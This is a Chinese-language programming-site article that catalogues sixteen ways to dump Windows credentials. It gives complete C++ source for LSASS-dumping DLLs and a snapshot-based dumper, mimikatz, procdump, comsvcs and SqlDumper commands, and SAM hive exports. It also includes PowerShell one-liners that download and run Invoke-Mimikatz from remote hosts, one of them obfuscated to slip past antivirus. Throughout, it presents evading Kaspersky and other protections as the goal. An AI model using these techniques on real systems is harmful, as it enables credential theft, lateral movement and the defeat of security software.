| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> C++知识库 -> 导出windows密码技巧总结 -> 正文阅读 |
|
[C++知识库]导出windows密码技巧总结 |
一、使用RPC控制lsass加载SSP,实现DUMP LSASS绕过杀软 1.已编译好的ssp.dll(建议自己编译) spp.dll 需要修改为完整的绝对路径,测试环境是win2012 管理员权限,提取的文件在C:\Windows\Temp\temp.bin,在windows 10 可能需要system权限。 编译成功的spp.dll文件以及loader注入器: https://github.com/Mr-xn/Penetration_Testing_POC/blob/master/tools/loader.zip loader.exe ?ssp.dll mimikatz?#?sekurlsa::minidump?teamp.bin? mimikatz?#?sekurlsa::logonPasswords?full 2.编译以及注意点 (1).所编译的.h 文件是 x64,不能用x86进行编译;生成.h文件直接写一个idl文件就可以生成,至于为什么要用x64的编译是因为xpn师傅当时只分析了x64的ssp注册流程,写的也是x64的流程,而且x86的注册api也是不一样的, x86并没有NdrClientCall3这个函数,win10用的是NdrClientCall4封装的NdrClientCall2,win7直接用的NdrClientCall2,要兼容x86你需要按照xpn师傅的文章重新分析然后重写注册流程。 (2).使用vs 2015,静态库中使用MFC进行编译 (3).注意编译的路径和文件名以及lass.exe的进程ID值 (4).编译 的ssp.dll代码: https://gist.github.com/xpn/93f2b75bf086baf2c388b2ddd50fb5d0 // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" #include <stdio.h> #include <windows.h> #include <DbgHelp.h> #include <TlHelp32.h> #pragma comment(lib,"Dbghelp.lib") typedef HRESULT(WINAPI* _RtlAdjustPrivilege)( ? ? ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled); typedef HRESULT(WINAPI* _MiniDumpW)( ? ? DWORD arg1, DWORD arg2, PWCHAR cmdline); int GetPid() { ? ? PROCESSENTRY32 pe32; ? ? pe32.dwSize = sizeof(pe32); ? ? HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); ? ? if (hProcessSnap == INVALID_HANDLE_VALUE) { ? ? ? ? printf("CreateToolhelp32Snapshot Error!"); ? ? ? ? return false; ? ? } ? ? BOOL bResult = Process32First(hProcessSnap, &pe32); ? ? while (bResult) ? ? { ? ? ? ? if (_stricmp(pe32.szExeFile, "lsass.exe") == 0) ? ? ? ? { ? ? ? ? ? ? return pe32.th32ProcessID; ? ? ? ? } ? ? ? ? bResult = Process32Next(hProcessSnap, &pe32); ? ? } ? ? CloseHandle(hProcessSnap); ? ? return -1; } int Dump_Lsass() { ? ? HRESULT hr; ? ? _MiniDumpW MiniDumpW; ? ? _RtlAdjustPrivilege RtlAdjustPrivilege; ? ? ULONG t; ? ? MiniDumpW = (_MiniDumpW)GetProcAddress( ? ? ? ? LoadLibrary("comsvcs.dll"), "MiniDumpW"); ? ? RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress( ? ? ? ? GetModuleHandle("ntdll"), "RtlAdjustPrivilege"); ? ? if (MiniDumpW == NULL || RtlAdjustPrivilege == NULL) ? ? { ? ? ? ? return 0; ? ? } ? ? RtlAdjustPrivilege(20, TRUE, FALSE, &t); ? ? wchar_t ws[100]; ? ? int pid = GetPid(); ? ? if (pid != -1) ? ? { ? ? ? ? swprintf(ws, 100, L"%d %hs", pid, "c:\\users\\public\\1.Dmp full"); #需要注意这里输出的路径和文件名,,以及pid进程值 ? ? } ? ? else { ? ? ? ? return 0; ? ? } ? ?? ? ? MiniDumpW(0, 0, ws); ? ? return 0; } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { ? ? switch (ul_reason_for_call) { ? ? case DLL_PROCESS_ATTACH: ? ? ? ? Dump_Lsass(); ? ? ? ? break; ? ? case DLL_THREAD_ATTACH: ? ? case DLL_THREAD_DETACH: ? ? case DLL_PROCESS_DETACH: ? ? ? ? break; ? ? } ? ? return TRUE; } 或者 #include <cstdio> #include <windows.h> #include <DbgHelp.h> #include <iostream> #include <TlHelp32.h> #pragma comment(lib,"Dbghelp.lib") typedef HRESULT(WINAPI* _MiniDumpW)( ? ? DWORD arg1, DWORD arg2, PWCHAR cmdline); typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)( ? ? ULONG Privilege, BOOL Enable, ? ? BOOL CurrentThread, PULONG Enabled); int dump() { ? ? HRESULT hr; ? ? _MiniDumpW MiniDumpW; ? ? _RtlAdjustPrivilege RtlAdjustPrivilege; ? ? ULONG t; ? ? MiniDumpW = (_MiniDumpW)GetProcAddress( ? ? ? ? LoadLibrary(L"comsvcs.dll"), "MiniDumpW"); ? ? RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress( ? ? ? ? GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege"); ? ? if (MiniDumpW == NULL) { ? ? ? ? return 0; ? ? } ? ? // try enable debug privilege ? ? RtlAdjustPrivilege(20, TRUE, FALSE, &t); ? ? wchar_t ws[100]; ? ? swprintf(ws, 100, L"%hs", "784 c:\\1.bin full"); //784是lsass进程的pid号 "<pid> <dump.bin> full"? ? ? MiniDumpW(0, 0, ws); ?return 0; } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { ?switch (ul_reason_for_call) { ?case DLL_PROCESS_ATTACH: ? dump(); ? break; ?case DLL_THREAD_ATTACH: ?case DLL_THREAD_DETACH: ?case DLL_PROCESS_DETACH: ? break; ?} ?return TRUE; } 写了DUMP LSASS的DLL: inject_lass_dump.exe dump_dll.dll Project6.exe 3.参考链接 XPN的分析:Exploring Mimikatz - Part 2 - SSP - XPN InfoSec Blog 奇安信编译让杀软: 这是一篇“不一样”的真实渗透测试案例分析文章 - 奇安信A-TEAM技术博客 4.总结 该方法需要自己编译,需要知道目标系统的lass.exe进程的ID值,以及设置输出的路径,编译有点麻烦,可以绕过大多数杀软,如绕过卡巴斯基 二、使用Masterkey工具获取密码(windows10和win7下测试成功)1. 查看目标远程凭据(如果有文件就相当于有凭据): dir /a %userprofile%\AppData\Local\Microsoft\Credentials\* #如果此文件下没有发现评级,可使用cmdkey /list 命令后一般出现了凭据信息,如果还是没出现文件,说明文件是隐藏的,可以把隐藏系统文件勾选取消了或者使用命令dir /a进行查看。 #dir /a C:\Users\每个用户\AppData\Local\Microsoft\Credentials\?? //会把所有登录的用户的凭据加密文件都找出来 2. 将此文件夹中的文件从目标机远程下载到本地的C:\a文件夹中 3. 在目标机上使用procdump获取目标lsass.exe内存 procdump64.exe -accepteula -ma lsass.exe lsass.dmp 4. 将lsass.dmp复制到本地,选择一个刚刚下载下来的密码文件对其进行解密。此处需要记录下guidMasterKey的值。 mimikatz # dpapi::cred /in:C:\a\DACFAEA5B624B4361794A2CC8AED1460
mimikatz# sekurlsa::minidump lsass.dmp //将lsaa.dmp导入 mimikatz# sekurlsa::dpapi 6.复制此Masterkey,并执行命令解密: mimikatz # dpapi::cred /in:C:\a\DACFAEA5B624B4361794A2CC8AED1460 /masterkey:6e65bc98836fcd5cd41c2d28ec96e538804c8b4d0419569b54a1be526f998192b1791ee40d995e6b4a9b3f126 7.解密成功,获取到目标远程连接的账号与密码: 8.总结: (1).方法只需要管理员权限,而非system权限,可导出guidMasterKe文件 (2).需要结合微软自带的工具procdump导出lasss.exe (3).然后将其guidMasterKe文件和lass.exe文件下载到本地通过mimiktaz进行读取解密,是绕过杀软获取明文的方法。 三、procdump获取密码1.powershell版的procdump 下载地址:https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-ProcessMiniDump.ps1 (1).获得lsass.exe的进程ID
powershell -exec bypass "import-module .\Get-ProcessMiniDump.ps1;Get-ProcessMiniDump -ProcID 660 -Path C:\windows\tasks\lsass.dmp" (3)远程?dump lsass.exe进程的内存文件 powershell.exe IEX (New-Object?Net.WebClient).DownloadString(' https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-ProcessMiniDump.ps1 ');Get-ProcessMiniDump -ProcID 660 -Path C:\windows\tasks\lsass.dmp"
2.微软自带的工具ProcDump ProcDump - Windows Sysinternals | Microsoft Docs (1).Procdump.exe -accepteula -ma lsass.exe lsass.dmp (2).把lsass.dmp下载到本地,放在同样的系统(目标是windows2008-->本地也用Windows2008) 3.一建命令 dump_passwd.bat @echo off color 0a procdump64.exe -accepteula -ma lsass.exe lsass.dmp mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit" > p6sw4d.txt 4.总结 (1).Get-ProcessMiniDump.ps1和procdump相比,优点在于Get-ProcessMiniDump.ps1可以使用IEX方式远程下载执行,从而达到不落地的目的; (2).当然procdump为微软自己的工具免杀应该会好一些,在有卡巴斯基的机器上执行powershell是会被拦截的。 四、SqlDumper.exe 获取密码1.如果目标系统上安装了windows sql server ,SqlDumper.exe默认存放在c:\Program Files\Microsoft SQL Server\number\Shared,其中number代表sql server的版本 ?-? ?
Sqldumper.exe ProcessID 0 0x01100 5.mimikatz加载dump文件 6.批处理命令执行 for /f "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do Sqldumper.exe %i 0 0x01100 sqldumper.exe ?1036 ?0 ??0x01100 7.总结: (1).sql2012版依赖msvcr100.dll,sql2016版依赖msvcr120.dll (2).SqlDumper.exe体积大小于procdump.exe、procdump64.exe,命令行操作,微软自己东西,免杀。 (3).针对内存保护的杀软是无法导出的,如卡巴斯基,NOD32 五、mimikatz工具获取密码1.自身命令获取密码 https://github.com/gentilkiwi/mimikatz/releases mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" #在命令窗口中显示 mimikatz.exe?"privilege::debug"?"sekurlsa::logonPasswords full"?"exit"?> p6sw4d.txt ?#导出到一个记事本文件中显示 2.powershell版本的mimikatz https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1 (1).本地执行 C:\Users\test\Desktop>powershell -exec?bypass?"import-module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz" (2).远程加载 powershell.exe IEX (New-Object?Net.WebClient).DownloadString(' https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1 ');Invoke-Mimikatz 或者 powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds" (3).Invoke-Mimikatz简单混淆就bypass powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.0'+'.101/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX" 3.windwos10以及以上抓取明文: (1).临时禁止Windows Defender (2).修改注册表开启UseLogonCredential 4.powershell?免杀抓明文?: powershell "IEX (New-Object Net.WebClient).DownloadString('https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1'); Get-Process lsass | Out-Minidump -DumpFilePath c:\windows\temp" 只需把?dmp?文件拖到本机机器再用?mimikatz.exe?加载?lsass_504.dmp?文件读取即可 5.总结 (1).可以直接抓取win7以下的系统明文密码,不免杀,需要自己修改,对代码进行修改,重新编译免杀mimikatz (2).win 8,8.1,2012,10,16修改改注册表下次系统登录可抓取明文密码 六、QuarksPwDump导出密码https://github.com/quarkslab/quarkspwdump QuarksPwDump.exe -dhl 总结:该工具不免杀,容易被杀 七、wce导出密码Amplia Security - Research - WCE FAQ wce.exe -w 总结:该工具只能用于windows2003.winxp系统中 八、pwdump7导出密码http://www.tarasco.org/security/pwdump_7/index.html PwDump7.exe 总结:该工具不免杀 九、LaZagne导出密码 https://github.com/AlessandroZ/LaZagne laZagne_x86.exe windows总结:该工具不免杀 十、任务管理器内存dump1.通过以下操作可先获取到lsass内存文件,然后使用mimikatz可进一步读取密码 2.可发现成功的创建了一个dmp文件,把它拷贝到本地,然后使用mimikatz恢复获取明文 mimikatz.exe "sekurlsa::minidump c:\lsass.dmp""sekurlsa::logonPasswords full" "exit" >pass64.txt 十一 .c#版本的mimikatz工具SharpDumphttps://github.com/GhostPack/SharpDump for /f "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do SharpDump.exe %i sharpdump.exe ? lass.exe进程ID 体积小[也就?9k?左右],免杀[实测?nod32?没啥问题]暂时还可以,默认它会自动?dump lsass.exe?进程数据,当然,你也可以指定进程?id?来?dump,在一些断网环境下很实用,如 之后,依然是回到本机机器用?mimikatz.exe?读取刚刚?dump?出的文件,特别注意,dump?的文件默认是?bin?后缀,拖到本地机器以后,需要自行把?bin?重命名为?zip?的后缀,然后正常解压处里面的文件,再丢给?mimikatz?去读取即可,如下 十二、rundll32获取密码1.批处理命令执行 MiniDumpWriteDump via COM+ Services DLL | modexp for /f "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump %i .\lsass.dmp full rundll32.exe?C:\windows\System32\comsvcs.dll,MiniDump 856 .\lass.dmp full 2.powershell版本执行 powershell -c?"rundll32 C:\windows\system32\comsvcs.dll, MiniDump 460 C:\lsass.dmp full"?(460是lsass.exe的进程,因系统不同,所以部分机器的pid值不同,利用comsvcs.dll 文件中的MiniDump 函数来Dump) mimikatz.exe?"sekurlsa::minidump c:\lsass.dmp"?"sekurlsa::logonpasswords full"?"exit"?> fb.txt 十三、SAM数据库导出获取密码1.管理员执行: reg save hklm\sam .\sam.hive® save hklm\system .\system.hive 2.将两个文件拷贝到本地,然后导入SAMInside并将NT-Hash复制出来去相关网站查询即可(mimikatz也可以读) 十四、通过Windows蓝屏文件来绕过kaspersky的内存保护抓密码卡巴以及小红伞均对lsass.exe进行了保护,导致微软出的两款工具以及他自己的kldumper都无法用于dump lsass。但是可以通过制造蓝屏来获取所有内存的文件MEMORY.DMP没然后在提出lsass进一步读取。 需要的工具:WinDBG+mimilib.dll 测试环境一:win8.1
12.总结: 缺点: 十五、利用windows api dump进程使用PssCaptureSnapshot的好处是,当获取明文时调用MiniDumpWriteDump时,它不会直接读取lsass进程内存,而是从进程的快照中读取。在MiniDumpWriteDump调用中使用由PssCaptureSnapshot返回的句柄,而不是LSASS进程句柄 代码如下: #include?"stdafx.h" #include?<windows.h> #include?<DbgHelp.h> #include?<iostream> #include?<TlHelp32.h> #include?<processsnapshot.h> #pragma?comment (lib, "Dbghelp.lib") using?namespace?std; BOOL CALLBACK?MyMiniDumpWriteDumpCallback( __in PVOID CallbackParam, __in?const?PMINIDUMP_CALLBACK_INPUT CallbackInput, __inout PMINIDUMP_CALLBACK_OUTPUT CallbackOutput ) { switch?(CallbackInput->CallbackType) { case?16:?// IsProcessSnapshotCallback CallbackOutput->Status?=?S_FALSE; break; } return?TRUE; } int?main()?{ DWORD lsassPID?=?0; HANDLE lsassHandle?=?NULL; HANDLE outFile?=?CreateFile(L"c:\\temp\\lsass.dmp",?GENERIC_ALL,?0,?NULL,?CREATE_ALWAYS,?FILE_ATTRIBUTE_NORMAL,?NULL); HANDLE snapshot?=?CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,?0); PROCESSENTRY32 processEntry?=?{}; processEntry.dwSize?=?sizeof(PROCESSENTRY32); LPCWSTR processName?=?L""; if?(Process32First(snapshot,?&processEntry))?{ while?(_wcsicmp(processName,?L"lsass.exe")?!=?0)?{ Process32Next(snapshot,?&processEntry); processName?=?processEntry.szExeFile; lsassPID?=?processEntry.th32ProcessID; } wcout?<<?"[+] Got lsass.exe PID: "?<<?lsassPID?<<?endl; } lsassHandle?=?OpenProcess(PROCESS_ALL_ACCESS,?0,?lsassPID); HANDLE snapshotHandle?=?NULL; DWORD flags?=?(DWORD)PSS_CAPTURE_VA_CLONE?|?PSS_CAPTURE_HANDLES?|?PSS_CAPTURE_HANDLE_NAME_INFORMATION?|?PSS_CAPTURE_HANDLE_BASIC_INFORMATION?|?PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION?|?PSS_CAPTURE_HANDLE_TRACE?|?PSS_CAPTURE_THREADS?|?PSS_CAPTURE_THREAD_CONTEXT?|?PSS_CAPTURE_THREAD_CONTEXT_EXTENDED?|?PSS_CREATE_BREAKAWAY?|?PSS_CREATE_BREAKAWAY_OPTIONAL?|?PSS_CREATE_USE_VM_ALLOCATIONS?|?PSS_CREATE_RELEASE_SECTION; MINIDUMP_CALLBACK_INFORMATION CallbackInfo; ZeroMemory(&CallbackInfo,?sizeof(MINIDUMP_CALLBACK_INFORMATION)); CallbackInfo.CallbackRoutine?=?&MyMiniDumpWriteDumpCallback; CallbackInfo.CallbackParam?=?NULL; PssCaptureSnapshot(lsassHandle,?(PSS_CAPTURE_FLAGS)flags,?CONTEXT_ALL,?(HPSS*)&snapshotHandle); BOOL isDumped?=?MiniDumpWriteDump(snapshotHandle,?lsassPID,?outFile,?MiniDumpWithFullMemory,?NULL,?NULL,?&CallbackInfo); if?(isDumped)?{ cout?<<?"[+] lsass dumped successfully!"?<<?endl; } PssFreeSnapshot(GetCurrentProcess(),?(HPSS)snapshotHandle); return?0; } 十六、获取本地密码工具 |
|
C++知识库 最新文章 |
【C++】友元、嵌套类、异常、RTTI、类型转换 |
通讯录的思路与实现(C语言) |
C++PrimerPlus 第七章 函数-C++的编程模块( |
Problem C: 算法9-9~9-12:平衡二叉树的基本 |
MSVC C++ UTF-8编程 |
C++进阶 多态原理 |
简单string类c++实现 |
我的年度总结 |
【C语言】以深厚地基筑伟岸高楼-基础篇(六 |
c语言常见错误合集 |
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/24 14:03:43- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |